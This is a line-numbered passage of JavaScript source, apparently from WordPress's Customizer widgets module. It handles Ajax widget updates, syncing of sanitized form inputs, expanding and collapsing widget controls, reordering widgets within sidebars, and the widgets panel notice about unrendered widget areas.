917 e.preventDefault();
918 self.updateWidget( { disable_form: true } ); // @todo disable_form is unused?
919 } );
920
921 updateWidgetDebounced = _.debounce( function() {
922 self.updateWidget();
923 }, 250 );
924
925 // Trigger widget form update when hitting Enter within an input.
926 $widgetContent.on( 'keydown', 'input', function( e ) {
927 if ( 13 === e.which ) { // Enter.
928 e.preventDefault();
929 self.updateWidget( { ignoreActiveElement: true } );
930 }
931 } );
932
933 // Handle widgets that support live previews.
934 $widgetContent.on( 'change input propertychange', ':input', function( e ) {
935 if ( ! self.liveUpdateMode ) {
936 return;
937 }
938 if ( e.type === 'change' || ( this.checkValidity && this.checkValidity() ) ) {
939 updateWidgetDebounced();
940 }
941 } );
942
943 // Remove loading indicators when the setting is saved and the preview updates.
944 this.setting.previewer.channel.bind( 'synced', function() {
945 self.container.removeClass( 'previewer-loading' );
946 } );
947
948 api.previewer.bind( 'widget-updated', function( updatedWidgetId ) {
949 if ( updatedWidgetId === self.params.widget_id ) {
950 self.container.removeClass( 'previewer-loading' );
951 }
952 } );
953
954 formSyncHandler = api.Widgets.formSyncHandlers[ this.params.widget_id_base ];
955 if ( formSyncHandler ) {
956 $( document ).on( 'widget-synced', function( e, widget ) {
957 if ( $widgetRoot.is( widget ) ) {
958 formSyncHandler.apply( document, arguments );
959 }
960 } );
961 }
962 },
963
964 /**
965 * Update widget control to indicate whether it is currently rendered.
966 *
967 * Overrides api.Control.toggle()
968 *
969 * @since 4.1.0
970 *
971 * @param {boolean} active
972 * @param {Object} args
973 * @param {function} args.completeCallback
974 */
975 onChangeActive: function ( active, args ) {
976 // Note: there is a second 'args' parameter being passed, merged on top of this.defaultActiveArguments.
977 this.container.toggleClass( 'widget-rendered', active );
978 if ( args.completeCallback ) {
979 args.completeCallback();
980 }
981 },
982
983 /**
984 * Set up event handlers for widget removal
985 */
986 _setupRemoveUI: function() {
987 var self = this, $removeBtn, replaceDeleteWithRemove;
988
989 // Configure remove button.
990 $removeBtn = this.container.find( '.widget-control-remove' );
991 $removeBtn.on( 'click', function() {
992 // Find an adjacent element to add focus to when this widget goes away.
993 var $adjacentFocusTarget;
994 if ( self.container.next().is( '.customize-control-widget_form' ) ) {
995 $adjacentFocusTarget = self.container.next().find( '.widget-action:first' );
996 } else if ( self.container.prev().is( '.customize-control-widget_form' ) ) {
997 $adjacentFocusTarget = self.container.prev().find( '.widget-action:first' );
998 } else {
999 $adjacentFocusTarget = self.container.next( '.customize-control-sidebar_widgets' ).find( '.add-new-widget:first' );
1000 }
1001
1002 self.container.slideUp( function() {
1003 var sidebarsWidgetsControl = api.Widgets.getSidebarWidgetControlContainingWidget( self.params.widget_id ),
1004 sidebarWidgetIds, i;
1005
1006 if ( ! sidebarsWidgetsControl ) {
1007 return;
1008 }
1009
1010 sidebarWidgetIds = sidebarsWidgetsControl.setting().slice();
1011 i = _.indexOf( sidebarWidgetIds, self.params.widget_id );
1012 if ( -1 === i ) {
1013 return;
1014 }
1015
1016 sidebarWidgetIds.splice( i, 1 );
1017 sidebarsWidgetsControl.setting( sidebarWidgetIds );
1018
1019 $adjacentFocusTarget.focus(); // Keyboard accessibility.
1020 } );
1021 } );
1022
1023 replaceDeleteWithRemove = function() {
1024 $removeBtn.text( l10n.removeBtnLabel ); // wp_widget_control() outputs the button as "Delete".
1025 $removeBtn.attr( 'title', l10n.removeBtnTooltip );
1026 };
1027
1028 if ( this.params.is_new ) {
1029 api.bind( 'saved', replaceDeleteWithRemove );
1030 } else {
1031 replaceDeleteWithRemove();
1032 }
1033 },
1034
1035 /**
1036 * Find all inputs in a widget container that should be considered when
1037 * comparing the loaded form with the sanitized form, whose fields will
1038 * be aligned to copy the sanitized over. The elements returned by this
1039 * are passed into this._getInputsSignature(), and they are iterated
1040 * over when copying sanitized values over to the form loaded.
1041 *
1042 * @param {jQuery} container element in which to look for inputs
1043 * @return {jQuery} inputs
1044 * @private
1045 */
1046 _getInputs: function( container ) {
1047 return $( container ).find( ':input[name]' );
1048 },
1049
1050 /**
1051 * Iterate over supplied inputs and create a signature string for all of them together.
1052 * This string can be used to compare whether or not the form has all of the same fields.
1053 *
1054 * @param {jQuery} inputs
1055 * @return {string}
1056 * @private
1057 */
1058 _getInputsSignature: function( inputs ) {
1059 var inputsSignatures = _( inputs ).map( function( input ) {
1060 var $input = $( input ), signatureParts;
1061
1062 if ( $input.is( ':checkbox, :radio' ) ) {
1063 signatureParts = [ $input.attr( 'id' ), $input.attr( 'name' ), $input.prop( 'value' ) ];
1064 } else {
1065 signatureParts = [ $input.attr( 'id' ), $input.attr( 'name' ) ];
1066 }
1067
1068 return signatureParts.join( ',' );
1069 } );
1070
1071 return inputsSignatures.join( ';' );
1072 },
1073
1074 /**
1075 * Get the state for an input depending on its type.
1076 *
1077 * @param {jQuery|Element} input
1078 * @return {string|boolean|Array|*}
1079 * @private
1080 */
1081 _getInputState: function( input ) {
1082 input = $( input );
1083 if ( input.is( ':radio, :checkbox' ) ) {
1084 return input.prop( 'checked' );
1085 } else if ( input.is( 'select[multiple]' ) ) {
1086 return input.find( 'option:selected' ).map( function () {
1087 return $( this ).val();
1088 } ).get();
1089 } else {
1090 return input.val();
1091 }
1092 },
1093
1094 /**
1095 * Update an input's state based on its type.
1096 *
1097 * @param {jQuery|Element} input
1098 * @param {string|boolean|Array|*} state
1099 * @private
1100 */
1101 _setInputState: function ( input, state ) {
1102 input = $( input );
1103 if ( input.is( ':radio, :checkbox' ) ) {
1104 input.prop( 'checked', state );
1105 } else if ( input.is( 'select[multiple]' ) ) {
1106 if ( ! Array.isArray( state ) ) {
1107 state = [];
1108 } else {
1109 // Make sure all state items are strings since the DOM value is a string.
1110 state = _.map( state, function ( value ) {
1111 return String( value );
1112 } );
1113 }
1114 input.find( 'option' ).each( function () {
1115 $( this ).prop( 'selected', -1 !== _.indexOf( state, String( this.value ) ) );
1116 } );
1117 } else {
1118 input.val( state );
1119 }
1120 },
1121
1122 /***********************************************************************
1123 * Begin public API methods
1124 **********************************************************************/
1125
1126 /**
1127 * @return {wp.customize.controlConstructor.sidebar_widgets[]}
1128 */
1129 getSidebarWidgetsControl: function() {
1130 var settingId, sidebarWidgetsControl;
1131
1132 settingId = 'sidebars_widgets[' + this.params.sidebar_id + ']';
1133 sidebarWidgetsControl = api.control( settingId );
1134
1135 if ( ! sidebarWidgetsControl ) {
1136 return;
1137 }
1138
1139 return sidebarWidgetsControl;
1140 },
1141
1142 /**
1143 * Submit the widget form via Ajax and get back the updated instance,
1144 * along with the new widget control form to render.
1145 *
1146 * @param {Object} [args]
1147 * @param {Object|null} [args.instance=null] When the model changes, the instance is sent here; otherwise, the inputs from the form are used
1148 * @param {Function|null} [args.complete=null] Function which is called when the request finishes. Context is bound to the control. First argument is any error. Following arguments are for success.
1149 * @param {boolean} [args.ignoreActiveElement=false] Whether or not updating a field will be deferred if focus is still on the element.
1150 */
1151 updateWidget: function( args ) {
1152 var self = this, instanceOverride, completeCallback, $widgetRoot, $widgetContent,
1153 updateNumber, params, data, $inputs, processing, jqxhr, isChanged;
1154
1155 // The updateWidget logic requires that the form fields to be fully present.
1156 self.embedWidgetContent();
1157
1158 args = $.extend( {
1159 instance: null,
1160 complete: null,
1161 ignoreActiveElement: false
1162 }, args );
1163
1164 instanceOverride = args.instance;
1165 completeCallback = args.complete;
1166
1167 this._updateCount += 1;
1168 updateNumber = this._updateCount;
1169
1170 $widgetRoot = this.container.find( '.widget:first' );
1171 $widgetContent = $widgetRoot.find( '.widget-content:first' );
1172
1173 // Remove a previous error message.
1174 $widgetContent.find( '.widget-error' ).remove();
1175
1176 this.container.addClass( 'widget-form-loading' );
1177 this.container.addClass( 'previewer-loading' );
1178 processing = api.state( 'processing' );
1179 processing( processing() + 1 );
1180
1181 if ( ! this.liveUpdateMode ) {
1182 this.container.addClass( 'widget-form-disabled' );
1183 }
1184
1185 params = {};
1186 params.action = 'update-widget';
1187 params.wp_customize = 'on';
1188 params.nonce = api.settings.nonce['update-widget'];
1189 params.customize_theme = api.settings.theme.stylesheet;
1190 params.customized = wp.customize.previewer.query().customized;
1191
1192 data = $.param( params );
1193 $inputs = this._getInputs( $widgetContent );
1194
1195 /*
1196 * Store the value we're submitting in data so that when the response comes back,
1197 * we know if it got sanitized; if there is no difference in the sanitized value,
1198 * then we do not need to touch the UI and mess up the user's ongoing editing.
1199 */
1200 $inputs.each( function() {
1201 $( this ).data( 'state' + updateNumber, self._getInputState( this ) );
1202 } );
1203
1204 if ( instanceOverride ) {
1205 data += '&' + $.param( { 'sanitized_widget_setting': JSON.stringify( instanceOverride ) } );
1206 } else {
1207 data += '&' + $inputs.serialize();
1208 }
1209 data += '&' + $widgetContent.find( '~ :input' ).serialize();
1210
1211 if ( this._previousUpdateRequest ) {
1212 this._previousUpdateRequest.abort();
1213 }
1214 jqxhr = $.post( wp.ajax.settings.url, data );
1215 this._previousUpdateRequest = jqxhr;
1216
1217 jqxhr.done( function( r ) {
1218 var message, sanitizedForm, $sanitizedInputs, hasSameInputsInResponse,
1219 isLiveUpdateAborted = false;
1220
1221 // Check if the user is logged out.
1222 if ( '0' === r ) {
1223 api.previewer.preview.iframe.hide();
1224 api.previewer.login().done( function() {
1225 self.updateWidget( args );
1226 api.previewer.preview.iframe.show();
1227 } );
1228 return;
1229 }
1230
1231 // Check for cheaters.
1232 if ( '-1' === r ) {
1233 api.previewer.cheatin();
1234 return;
1235 }
1236
1237 if ( r.success ) {
1238 sanitizedForm = $( '<div>' + r.data.form + '</div>' );
1239 $sanitizedInputs = self._getInputs( sanitizedForm );
1240 hasSameInputsInResponse = self._getInputsSignature( $inputs ) === self._getInputsSignature( $sanitizedInputs );
1241
1242 // Restore live update mode if sanitized fields are now aligned with the existing fields.
1243 if ( hasSameInputsInResponse && ! self.liveUpdateMode ) {
1244 self.liveUpdateMode = true;
1245 self.container.removeClass( 'widget-form-disabled' );
1246 self.container.find( 'input[name="savewidget"]' ).hide();
1247 }
1248
1249 // Sync sanitized field states to existing fields if they are aligned.
1250 if ( hasSameInputsInResponse && self.liveUpdateMode ) {
1251 $inputs.each( function( i ) {
1252 var $input = $( this ),
1253 $sanitizedInput = $( $sanitizedInputs[i] ),
1254 submittedState, sanitizedState, canUpdateState;
1255
1256 submittedState = $input.data( 'state' + updateNumber );
1257 sanitizedState = self._getInputState( $sanitizedInput );
1258 $input.data( 'sanitized', sanitizedState );
1259
1260 canUpdateState = ( ! _.isEqual( submittedState, sanitizedState ) && ( args.ignoreActiveElement || ! $input.is( document.activeElement ) ) );
1261 if ( canUpdateState ) {
1262 self._setInputState( $input, sanitizedState );
1263 }
1264 } );
1265
1266 $( document ).trigger( 'widget-synced', [ $widgetRoot, r.data.form ] );
1267
1268 // Otherwise, if sanitized fields are not aligned with existing fields, disable live update mode if enabled.
1269 } else if ( self.liveUpdateMode ) {
1270 self.liveUpdateMode = false;
1271 self.container.find( 'input[name="savewidget"]' ).show();
1272 isLiveUpdateAborted = true;
1273
1274 // Otherwise, replace existing form with the sanitized form.
1275 } else {
1276 $widgetContent.html( r.data.form );
1277
1278 self.container.removeClass( 'widget-form-disabled' );
1279
1280 $( document ).trigger( 'widget-updated', [ $widgetRoot ] );
1281 }
1282
1283 /**
1284 * If the old instance is identical to the new one, there is nothing new
1285 * needing to be rendered, and so we can preempt the event for the
1286 * preview finishing loading.
1287 */
1288 isChanged = ! isLiveUpdateAborted && ! _( self.setting() ).isEqual( r.data.instance );
1289 if ( isChanged ) {
1290 self.isWidgetUpdating = true; // Suppress triggering another updateWidget.
1291 self.setting( r.data.instance );
1292 self.isWidgetUpdating = false;
1293 } else {
1294 // No change was made, so stop the spinner now instead of when the preview would updates.
1295 self.container.removeClass( 'previewer-loading' );
1296 }
1297
1298 if ( completeCallback ) {
1299 completeCallback.call( self, null, { noChange: ! isChanged, ajaxFinished: true } );
1300 }
1301 } else {
1302 // General error message.
1303 message = l10n.error;
1304
1305 if ( r.data && r.data.message ) {
1306 message = r.data.message;
1307 }
1308
1309 if ( completeCallback ) {
1310 completeCallback.call( self, message );
1311 } else {
1312 $widgetContent.prepend( '<p class="widget-error"><strong>' + message + '</strong></p>' );
1313 }
1314 }
1315 } );
1316
1317 jqxhr.fail( function( jqXHR, textStatus ) {
1318 if ( completeCallback ) {
1319 completeCallback.call( self, textStatus );
1320 }
1321 } );
1322
1323 jqxhr.always( function() {
1324 self.container.removeClass( 'widget-form-loading' );
1325
1326 $inputs.each( function() {
1327 $( this ).removeData( 'state' + updateNumber );
1328 } );
1329
1330 processing( processing() - 1 );
1331 } );
1332 },
1333
1334 /**
1335 * Expand the accordion section containing a control
1336 */
1337 expandControlSection: function() {
1338 api.Control.prototype.expand.call( this );
1339 },
1340
1341 /**
1342 * @since 4.1.0
1343 *
1344 * @param {Boolean} expanded
1345 * @param {Object} [params]
1346 * @return {Boolean} False if state already applied.
1347 */
1348 _toggleExpanded: api.Section.prototype._toggleExpanded,
1349
1350 /**
1351 * @since 4.1.0
1352 *
1353 * @param {Object} [params]
1354 * @return {Boolean} False if already expanded.
1355 */
1356 expand: api.Section.prototype.expand,
1357
1358 /**
1359 * Expand the widget form control
1360 *
1361 * @deprecated 4.1.0 Use this.expand() instead.
1362 */
1363 expandForm: function() {
1364 this.expand();
1365 },
1366
1367 /**
1368 * @since 4.1.0
1369 *
1370 * @param {Object} [params]
1371 * @return {Boolean} False if already collapsed.
1372 */
1373 collapse: api.Section.prototype.collapse,
1374
1375 /**
1376 * Collapse the widget form control
1377 *
1378 * @deprecated 4.1.0 Use this.collapse() instead.
1379 */
1380 collapseForm: function() {
1381 this.collapse();
1382 },
1383
1384 /**
1385 * Expand or collapse the widget control
1386 *
1387 * @deprecated this is poor naming, and it is better to directly set control.expanded( showOrHide )
1388 *
1389 * @param {boolean|undefined} [showOrHide] If not supplied, will be inverse of current visibility
1390 */
1391 toggleForm: function( showOrHide ) {
1392 if ( typeof showOrHide === 'undefined' ) {
1393 showOrHide = ! this.expanded();
1394 }
1395 this.expanded( showOrHide );
1396 },
1397
1398 /**
1399 * Respond to change in the expanded state.
1400 *
1401 * @param {boolean} expanded
1402 * @param {Object} args merged on top of this.defaultActiveArguments
1403 */
1404 onChangeExpanded: function ( expanded, args ) {
1405 var self = this, $widget, $inside, complete, prevComplete, expandControl, $toggleBtn;
1406
1407 self.embedWidgetControl(); // Make sure the outer form is embedded so that the expanded state can be set in the UI.
1408 if ( expanded ) {
1409 self.embedWidgetContent();
1410 }
1411
1412 // If the expanded state is unchanged only manipulate container expanded states.
1413 if ( args.unchanged ) {
1414 if ( expanded ) {
1415 api.Control.prototype.expand.call( self, {
1416 completeCallback: args.completeCallback
1417 });
1418 }
1419 return;
1420 }
1421
1422 $widget = this.container.find( 'div.widget:first' );
1423 $inside = $widget.find( '.widget-inside:first' );
1424 $toggleBtn = this.container.find( '.widget-top button.widget-action' );
1425
1426 expandControl = function() {
1427
1428 // Close all other widget controls before expanding this one.
1429 api.control.each( function( otherControl ) {
1430 if ( self.params.type === otherControl.params.type && self !== otherControl ) {
1431 otherControl.collapse();
1432 }
1433 } );
1434
1435 complete = function() {
1436 self.container.removeClass( 'expanding' );
1437 self.container.addClass( 'expanded' );
1438 $widget.addClass( 'open' );
1439 $toggleBtn.attr( 'aria-expanded', 'true' );
1440 self.container.trigger( 'expanded' );
1441 };
1442 if ( args.completeCallback ) {
1443 prevComplete = complete;
1444 complete = function () {
1445 prevComplete();
1446 args.completeCallback();
1447 };
1448 }
1449
1450 if ( self.params.is_wide ) {
1451 $inside.fadeIn( args.duration, complete );
1452 } else {
1453 $inside.slideDown( args.duration, complete );
1454 }
1455
1456 self.container.trigger( 'expand' );
1457 self.container.addClass( 'expanding' );
1458 };
1459
1460 if ( $toggleBtn.attr( 'aria-expanded' ) === 'false' ) {
1461 if ( api.section.has( self.section() ) ) {
1462 api.section( self.section() ).expand( {
1463 completeCallback: expandControl
1464 } );
1465 } else {
1466 expandControl();
1467 }
1468 } else {
1469 complete = function() {
1470 self.container.removeClass( 'collapsing' );
1471 self.container.removeClass( 'expanded' );
1472 $widget.removeClass( 'open' );
1473 $toggleBtn.attr( 'aria-expanded', 'false' );
1474 self.container.trigger( 'collapsed' );
1475 };
1476 if ( args.completeCallback ) {
1477 prevComplete = complete;
1478 complete = function () {
1479 prevComplete();
1480 args.completeCallback();
1481 };
1482 }
1483
1484 self.container.trigger( 'collapse' );
1485 self.container.addClass( 'collapsing' );
1486
1487 if ( self.params.is_wide ) {
1488 $inside.fadeOut( args.duration, complete );
1489 } else {
1490 $inside.slideUp( args.duration, function() {
1491 $widget.css( { width:'', margin:'' } );
1492 complete();
1493 } );
1494 }
1495 }
1496 },
1497
1498 /**
1499 * Get the position (index) of the widget in the containing sidebar
1500 *
1501 * @return {number}
1502 */
1503 getWidgetSidebarPosition: function() {
1504 var sidebarWidgetIds, position;
1505
1506 sidebarWidgetIds = this.getSidebarWidgetsControl().setting();
1507 position = _.indexOf( sidebarWidgetIds, this.params.widget_id );
1508
1509 if ( position === -1 ) {
1510 return;
1511 }
1512
1513 return position;
1514 },
1515
1516 /**
1517 * Move widget up one in the sidebar
1518 */
1519 moveUp: function() {
1520 this._moveWidgetByOne( -1 );
1521 },
1522
1523 /**
1524 * Move widget up one in the sidebar
1525 */
1526 moveDown: function() {
1527 this._moveWidgetByOne( 1 );
1528 },
1529
1530 /**
1531 * @private
1532 *
1533 * @param {number} offset 1|-1
1534 */
1535 _moveWidgetByOne: function( offset ) {
1536 var i, sidebarWidgetsSetting, sidebarWidgetIds, adjacentWidgetId;
1537
1538 i = this.getWidgetSidebarPosition();
1539
1540 sidebarWidgetsSetting = this.getSidebarWidgetsControl().setting;
1541 sidebarWidgetIds = Array.prototype.slice.call( sidebarWidgetsSetting() ); // Clone.
1542 adjacentWidgetId = sidebarWidgetIds[i + offset];
1543 sidebarWidgetIds[i + offset] = this.params.widget_id;
1544 sidebarWidgetIds[i] = adjacentWidgetId;
1545
1546 sidebarWidgetsSetting( sidebarWidgetIds );
1547 },
1548
1549 /**
1550 * Toggle visibility of the widget move area
1551 *
1552 * @param {boolean} [showOrHide]
1553 */
1554 toggleWidgetMoveArea: function( showOrHide ) {
1555 var self = this, $moveWidgetArea;
1556
1557 $moveWidgetArea = this.container.find( '.move-widget-area' );
1558
1559 if ( typeof showOrHide === 'undefined' ) {
1560 showOrHide = ! $moveWidgetArea.hasClass( 'active' );
1561 }
1562
1563 if ( showOrHide ) {
1564 // Reset the selected sidebar.
1565 $moveWidgetArea.find( '.selected' ).removeClass( 'selected' );
1566
1567 $moveWidgetArea.find( 'li' ).filter( function() {
1568 return $( this ).data( 'id' ) === self.params.sidebar_id;
1569 } ).addClass( 'selected' );
1570
1571 this.container.find( '.move-widget-btn' ).prop( 'disabled', true );
1572 }
1573
1574 $moveWidgetArea.toggleClass( 'active', showOrHide );
1575 },
1576
1577 /**
1578 * Highlight the widget control and section
1579 */
1580 highlightSectionAndControl: function() {
1581 var $target;
1582
1583 if ( this.container.is( ':hidden' ) ) {
1584 $target = this.container.closest( '.control-section' );
1585 } else {
1586 $target = this.container;
1587 }
1588
1589 $( '.highlighted' ).removeClass( 'highlighted' );
1590 $target.addClass( 'highlighted' );
1591
1592 setTimeout( function() {
1593 $target.removeClass( 'highlighted' );
1594 }, 500 );
1595 }
1596 } );
1597
1598 /**
1599 * wp.customize.Widgets.WidgetsPanel
1600 *
1601 * Customizer panel containing the widget area sections.
1602 *
1603 * @since 4.4.0
1604 *
1605 * @class wp.customize.Widgets.WidgetsPanel
1606 * @augments wp.customize.Panel
1607 */
1608 api.Widgets.WidgetsPanel = api.Panel.extend(/** @lends wp.customize.Widgets.WigetsPanel.prototype */{
1609
1610 /**
1611 * Add and manage the display of the no-rendered-areas notice.
1612 *
1613 * @since 4.4.0
1614 */
1615 ready: function () {
1616 var panel = this;
1617
1618 api.Panel.prototype.ready.call( panel );
1619
1620 panel.deferred.embedded.done(function() {
1621 var panelMetaContainer, noticeContainer, updateNotice, getActiveSectionCount, shouldShowNotice;
1622 panelMetaContainer = panel.container.find( '.panel-meta' );
1623
1624 // @todo This should use the Notifications API introduced to panels. See <https://core.trac.wordpress.org/ticket/38794>.
1625 noticeContainer = $( '<div></div>', {
1626 'class': 'no-widget-areas-rendered-notice',
1627 'role': 'alert'
1628 });
1629 panelMetaContainer.append( noticeContainer );
1630
1631 /**
1632 * Get the number of active sections in the panel.
1633 *
1634 * @return {number} Number of active sidebar sections.
1635 */
1636 getActiveSectionCount = function() {
1637 return _.filter( panel.sections(), function( section ) {
1638 return 'sidebar' === section.params.type && section.active();
1639 } ).length;
1640 };
1641
1642 /**
1643 * Determine whether or not the notice should be displayed.
1644 *
1645 * @return {boolean}
1646 */
1647 shouldShowNotice = function() {
1648 var activeSectionCount = getActiveSectionCount();
1649 if ( 0 === activeSectionCount ) {
1650 return true;
1651 } else {
1652 return activeSectionCount !== api.Widgets.data.registeredSidebars.length;
1653 }
1654 };
1655
1656 /**
1657 * Update the notice.
1658 *
1659 * @return {void}
1660 */
1661 updateNotice = function() {
1662 var activeSectionCount = getActiveSectionCount(), someRenderedMessage, nonRenderedAreaCount, registeredAreaCount;
1663 noticeContainer.empty();
1664
1665 registeredAreaCount = api.Widgets.data.registeredSidebars.length;
1666 if ( activeSectionCount !== registeredAreaCount ) {
1667
1668 if ( 0 !== activeSectionCount ) {
1669 nonRenderedAreaCount = registeredAreaCount - activeSectionCount;
1670 someRenderedMessage = l10n.someAreasShown[ nonRenderedAreaCount ];
1671 } else {
1672 someRenderedMessage = l10n.noAreasShown;
1673 }
1674 if ( someRenderedMessage ) {
1675 noticeContainer.append( $( '<p></p>', {
1676 text: someRenderedMessage
1677 } ) );
1678 }
1679
1680 noticeContainer.append( $( '<p></p>', {
1681 text: l10n.navigatePreview
1682 } ) );
1683 }
1684 };
1685 updateNotice();
1686
1687 /*
1688 * Set the initial visibility state for rendered notice.
1689 * Update the visibility of the notice whenever a reflow happens.
1690 */
1691 noticeContainer.toggle( shouldShowNotice() );
1692 api.previewer.deferred.active.done( function () {
1693 noticeContainer.toggle( shouldShowNotice() );
1694 });
1695 api.bind( 'pane-contents-reflowed', function() {
1696 var duration = ( 'resolved' === api.previewer.deferred.active.state() ) ? 'fast' : 0;
1697 updateNotice();
1698 if ( shouldShowNotice() ) {
1699 noticeContainer.slideDown( duration );
1700 } else {
1701 noticeContainer.slideUp( duration );
1702 }
1703 });
1704 });
1705 },
1706
1707 /**
1708 * Allow an active widgets panel to be contextually active even when it has no active sections (widget areas).
1709 *
1710 * This ensures that the widgets panel appears even when there are no
1711 * sidebars displayed on the URL currently being previewed.
1712 *
1713 * @since 4.4.0
1714 *
1715 * @return {boolean}
1716 */
1717 isContextuallyActive: function() {
1718 var panel = this;
1719 return panel.active();
1720 }
1721 });
1722
1723 /**
1724 * wp.customize.Widgets.SidebarSection
1725 *
1726 * Customizer section representing a widget area widget
1727 *
1728 * @since 4.1.0
1729 *
1730 * @class wp.customize.Widgets.SidebarSection
1731 * @augments wp.customize.Section
1732 */
1733 api.Widgets.SidebarSection = api.Section.extend(/** @lends wp.customize.Widgets.SidebarSection.prototype */{
1734
1735 /**
1736 * Sync the section's active state back to the Backbone model's is_rendered attribute
1737 *
1738 * @since 4.1.0
1739 */
1740 ready: function () {
1741 var section = this, registeredSidebar;
1742 api.Section.prototype.ready.call( this );
1743 registeredSidebar = api.Widgets.registeredSidebars.get( section.params.sidebarId );
1744 section.active.bind( function ( active ) {
1745 registeredSidebar.set( 'is_rendered', active );
1746 });
1747 registeredSidebar.set( 'is_rendered', section.active() );
1748 }
1749 });
1750
1751 /**
1752 * wp.customize.Widgets.SidebarControl
1753 *
1754 * Customizer control for widgets.
1755 * Note that 'sidebar_widgets' must match the WP_Widget_Area_Customize_Control::$type
1756 *
1757 * @since 3.9.0
1758 *
1759 * @class wp.customize.Widgets.SidebarControl
1760 * @augments wp.customize.Control
1761 */
1762 api.Widgets.SidebarControl = api.Control.extend(/** @lends wp.customize.Widgets.SidebarControl.prototype */{
1763
1764 /**
1765 * Set up the control
1766 */
1767 ready: function() {
1768 this.$controlSection = this.container.closest( '.control-section' );
1769 this.$sectionContent = this.container.closest( '.accordion-section-content' );
1770
1771 this._setupModel();
1772 this._setupSortable();
1773 this._setupAddition();
1774 this._applyCardinalOrderClassNames();
1775 },
1776
1777 /**
1778 * Update ordering of widget control forms when the setting is updated
1779 */
1780 _setupModel: function() {
1781 var self = this;
1782
1783 this.setting.bind( function( newWidgetIds, oldWidgetIds ) {
1784 var widgetFormControls, removedWidgetIds, priority;
1785
1786 removedWidgetIds = _( oldWidgetIds ).difference( newWidgetIds );
1787
1788 // Filter out any persistent widget IDs for widgets which have been deactivated.
1789 newWidgetIds = _( newWidgetIds ).filter( function( newWidgetId ) {
1790 var parsedWidgetId = parseWidgetId( newWidgetId );
1791
1792 return !! api.Widgets.availableWidgets.findWhere( { id_base: parsedWidgetId.id_base } );
1793 } );
1794
1795 widgetFormControls = _( newWidgetIds ).map( function( widgetId ) {
1796 var widgetFormControl = api.Widgets.getWidgetFormControlForWidget( widgetId );
1797
1798 if ( ! widgetFormControl ) {
1799 widgetFormControl = self.addWidget( widgetId );
1800 }
1801
1802 return widgetFormControl;
1803 } );
1804
1805 // Sort widget controls to their new positions.
1806 widgetFormControls.sort( function( a, b ) {
1807 var aIndex = _.indexOf( newWidgetIds, a.params.widget_id ),
1808 bIndex = _.indexOf( newWidgetIds, b.params.widget_id );
1809 return aIndex - bIndex;
1810 });
1811
1812 priority = 0;
1813 _( widgetFormControls ).each( function ( control ) {
1814 control.priority( priority );
1815 control.section( self.section() );
1816 priority += 1;
1817 });
1818 self.priority( priority ); // Make sure sidebar control remains at end.
1819
1820 // Re-sort widget form controls (including widgets form other sidebars newly moved here).
1821 self._applyCardinalOrderClassNames();
1822
1823 // If the widget was dragged into the sidebar, make sure the sidebar_id param is updated.
1824 _( widgetFormControls ).each( function( widgetFormControl ) {
1825 widgetFormControl.params.sidebar_id = self.params.sidebar_id;
1826 } );
1827
1828 // Cleanup after widget removal.
1829 _( removedWidgetIds ).each( function( removedWidgetId ) {
1830
1831 // Using setTimeout so that when moving a widget to another sidebar,
1832 // the other sidebars_widgets settings get a chance to update.
1833 setTimeout( function() {
1834 var removedControl, wasDraggedToAnotherSidebar, inactiveWidgets, removedIdBase,
1835 widget, isPresentInAnotherSidebar = false;
1836
1837 // Check if the widget is in another sidebar.
1838 api.each( function( otherSetting ) {
1839 if ( otherSetting.id === self.setting.id || 0 !== otherSetting.id.indexOf( 'sidebars_widgets[' ) || otherSetting.id === 'sidebars_widgets[wp_inactive_widgets]' ) {
1840 return;
1841 }
1842
1843 var otherSidebarWidgets = otherSetting(), i;
1844
1845 i = _.indexOf( otherSidebarWidgets, removedWidgetId );
1846 if ( -1 !== i ) {
1847 isPresentInAnotherSidebar = true;
1848 }
1849 } );
1850
1851 // If the widget is present in another sidebar, abort!
1852 if ( isPresentInAnotherSidebar ) {
1853 return;
1854 }
1855
1856 removedControl = api.Widgets.getWidgetFormControlForWidget( removedWidgetId );
1857
1858 // Detect if widget control was dragged to another sidebar.
1859 wasDraggedToAnotherSidebar = removedControl && $.contains( document, removedControl.container[0] ) && ! $.contains( self.$sectionContent[0], removedControl.container[0] );
1860
1861 // Delete any widget form controls for removed widgets.
1862 if ( removedControl && ! wasDraggedToAnotherSidebar ) {
1863 api.control.remove( removedControl.id );
1864 removedControl.container.remove();
1865 }
1866
1867 // Move widget to inactive widgets sidebar (move it to Trash) if has been previously saved.
1868 // This prevents the inactive widgets sidebar from overflowing with throwaway widgets.
1869 if ( api.Widgets.savedWidgetIds[removedWidgetId] ) {
1870 inactiveWidgets = api.value( 'sidebars_widgets[wp_inactive_widgets]' )().slice();
1871 inactiveWidgets.push( removedWidgetId );
1872 api.value( 'sidebars_widgets[wp_inactive_widgets]' )( _( inactiveWidgets ).unique() );
1873 }
1874
1875 // Make old single widget available for adding again.
1876 removedIdBase = parseWidgetId( removedWidgetId ).id_base;
1877 widget = api.Widgets.availableWidgets.findWhere( { id_base: removedIdBase } );
1878 if ( widget && ! widget.get( 'is_multi' ) ) {
1879 widget.set( 'is_disabled', false );
1880 }
1881 } );
1882
1883 } );
1884 } );
1885 },
1886
1887 /**
1888 * Allow widgets in sidebar to be re-ordered, and for the order to be previewed
1889 */
1890 _setupSortable: function() {
1891 var self = this;
1892
1893 this.isReordering = false;
1894
1895 /**
1896 * Update widget order setting when controls are re-ordered
1897 */
1898 this.$sectionContent.sortable( {
1899 items: '> .customize-control-widget_form',
1900 handle: '.widget-top',
1901 axis: 'y',
1902 tolerance: 'pointer',
1903 connectWith: '.accordion-section-content:has(.customize-control-sidebar_widgets)',
1904 update: function() {
1905 var widgetContainerIds = self.$sectionContent.sortable( 'toArray' ), widgetIds;
1906
1907 widgetIds = $.map( widgetContainerIds, function( widgetContainerId ) {
1908 return $( '#' + widgetContainerId ).find( ':input[name=widget-id]' ).val();
1909 } );
1910
1911 self.setting( widgetIds );
1912 }
1913 } );
1914
1915 /**
1916 * Expand other Customizer sidebar section when dragging a control widget over it,
1917 * allowing the control to be dropped into another section
1918 */
1919 this.$controlSection.find( '.accordion-section-title' ).droppable({
1920 accept: '.customize-control-widget_form',
1921 over: function() {
1922 var section = api.section( self.section.get() );
1923 section.expand({
1924 allowMultiple: true, // Prevent the section being dragged from to be collapsed.
1925 completeCallback: function () {
1926 // @todo It is not clear when refreshPositions should be called on which sections, or if it is even needed.
1927 api.section.each( function ( otherSection ) {
1928 if ( otherSection.container.find( '.customize-control-sidebar_widgets' ).length ) {
1929 otherSection.container.find( '.accordion-section-content:first' ).sortable( 'refreshPositions' );
1930 }
1931 } );
1932 }
